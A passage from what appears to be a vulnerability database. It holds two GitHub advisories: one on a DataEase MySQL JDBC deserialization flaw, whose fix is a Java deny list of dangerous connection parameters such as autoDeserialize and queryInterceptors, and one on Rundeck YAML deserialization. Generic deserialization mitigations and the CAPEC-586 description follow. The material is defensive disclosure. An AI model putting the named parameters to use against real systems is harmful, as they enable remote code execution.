vulnerability.\n```\n@Getter\n@Setter\npublic class MysqlConfiguration extends JdbcConfiguration {\n\n private String driver = \"com.mysql.jdbc.Driver\";\n private String extraParams = \"characterEncoding=UTF-8\u0026connectTimeout=5000\u0026useSSL=false\u0026allowPublicKeyRetrieval=true\u0026zeroDateTimeBehavior=convertToNull\";\n private List\u003cString\u003e illegalParameters = Arrays.asList(\"autoDeserialize\", \"queryInterceptors\", \"statementInterceptors\", \"detectCustomCollations\");\n\n public String getJdbc() {\n if (StringUtils.isEmpty(extraParams.trim())) {\n return \"jdbc:mysql://HOSTNAME:PORT/DATABASE\"\n .replace(\"HOSTNAME\", getHost().trim())\n .replace(\"PORT\", getPort().toString().trim())\n .replace(\"DATABASE\", getDataBase().trim());\n } else {\n for (String illegalParameter : illegalParameters) {\n if (getExtraParams().contains(illegalParameter)) {\n throw new RuntimeException(\"Illegal parameter: \" + illegalParameter);\n }\n }\n\n return \"jdbc:mysql://HOSTNAME:PORT/DATABASE?EXTRA_PARAMS\"\n .replace(\"HOSTNAME\", getHost().trim())\n .replace(\"PORT\", getPort().toString().trim())\n .replace(\"DATABASE\", getDataBase().trim())\n .replace(\"EXTRA_PARAMS\", getExtraParams().trim());\n }\n }\n}\n```\n\n### Workarounds\n\nIt is recommended to upgrade the version to v1.15.2.\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [https://github.com/dataease/dataease](https://github.com/dataease/dataease)\n* Email us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n",
"id": "GHSA-q4qq-jhjv-7rh2",
"modified": "2022-10-25T20:31:45Z",
"published": "2022-10-18T18:05:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dataease/dataease/security/advisories/GHSA-q4qq-jhjv-7rh2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39312"
},
{
"type": "WEB",
"url": "https://github.com/dataease/dataease/pull/3328"
},
{
"type": "WEB",
"url": "https://github.com/dataease/dataease/commit/956ee2d6c9e81349a60aef435efc046888e10a6d"
},
{
"type": "PACKAGE",
"url": "https://github.com/dataease/dataease"
},
{
"type": "WEB",
"url": "https://github.com/dataease/dataease/releases/tag/v1.15.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "MySQL JDBC deserialization vulnerability"
}
GHSA-Q4RF-3FHX-88PF
Vulnerability from github – Published: 2021-09-01 18:27 – Updated: 2021-08-30 22:03Impact
An authorized user can upload a zip-format plugin with a crafted plugin.yaml, or a crafted aclpolicy yaml file, or upload an untrusted project archive with a crafted aclpolicy yaml file, that can cause the server to run untrusted code on Rundeck Community or Enterprise Edition. An authenticated user can make a POST request, that can cause the server to run untrusted code on Rundeck Enterprise Edition.
The zip-format plugin issues requires authentication and authorization to these access levels, and affects all Rundeck editions:
adminlevel access to thesystemresource type
The ACL Policy yaml file upload issues requires authentication and authorization to these access levels, and affects all Rundeck editions:
createupdateoradminlevel access to aproject_aclresourcecreateupdateoradminlevel access to thesystem_aclresource
The unauthorized POST request requires authentication, but no specific authorization, and affects Rundeck Enterprise only.
Patches
Versions 3.4.3, 3.3.14
Workarounds
Please visit https://rundeck.com/security for information about specific workarounds.
For more information
If you have any questions or comments about this advisory: * Email us at security@rundeck.com
To report security issues to Rundeck please use the form at https://rundeck.com/security
Reporter: Rojan Rijal from Tinder Red Team
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.rundeck:rundeck-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"fixed": "3.4.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.rundeck:rundeck-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-39132"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-30T22:03:16Z",
"nvd_published_at": "2021-08-30T20:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nAn authorized user can upload a zip-format plugin with a crafted plugin.yaml, or a crafted aclpolicy yaml file, or upload an untrusted project archive with a crafted aclpolicy yaml file, that can cause the server to run untrusted code on Rundeck Community or Enterprise Edition. An authenticated user can make a POST request, that can cause the server to run untrusted code on Rundeck Enterprise Edition.\n\nThe zip-format plugin issues requires authentication and authorization to these access levels, and affects all Rundeck editions:\n\n* `admin` level access to the `system` resource type\n\nThe ACL Policy yaml file upload issues requires authentication and authorization to these access levels, and affects all Rundeck editions: \n\n* `create` `update` or `admin` level access to a `project_acl` resource\n* `create` `update` or `admin` level access to the `system_acl` resource\n\nThe unauthorized POST request requires authentication, but no specific authorization, and affects Rundeck Enterprise only.\n\n### Patches\nVersions 3.4.3, 3.3.14\n\n### Workarounds\n\nPlease visit [https://rundeck.com/security](https://rundeck.com/security) for information about specific workarounds.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@rundeck.com](mailto:security@rundeck.com)\n\nTo report security issues to Rundeck please use the form at [https://rundeck.com/security](https://rundeck.com/security)\n\nReporter: Rojan Rijal from Tinder Red Team",
"id": "GHSA-q4rf-3fhx-88pf",
"modified": "2021-08-30T22:03:16Z",
"published": "2021-09-01T18:27:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rundeck/rundeck/security/advisories/GHSA-q4rf-3fhx-88pf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39132"
},
{
"type": "WEB",
"url": "https://github.com/rundeck/rundeck/commit/850d12e21d22833bc148b7f458d7cb5949f829b6"
},
{
"type": "PACKAGE",
"url": "https://github.com/rundeck/rundeck"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "YAML deserialization can run untrusted code"
}
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Mitigation
Explicitly define a final object() to prevent deserialization.
Mitigation
- Make fields transient to protect them from deserialization.
- An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Mitigation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-586: Object Injection
An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.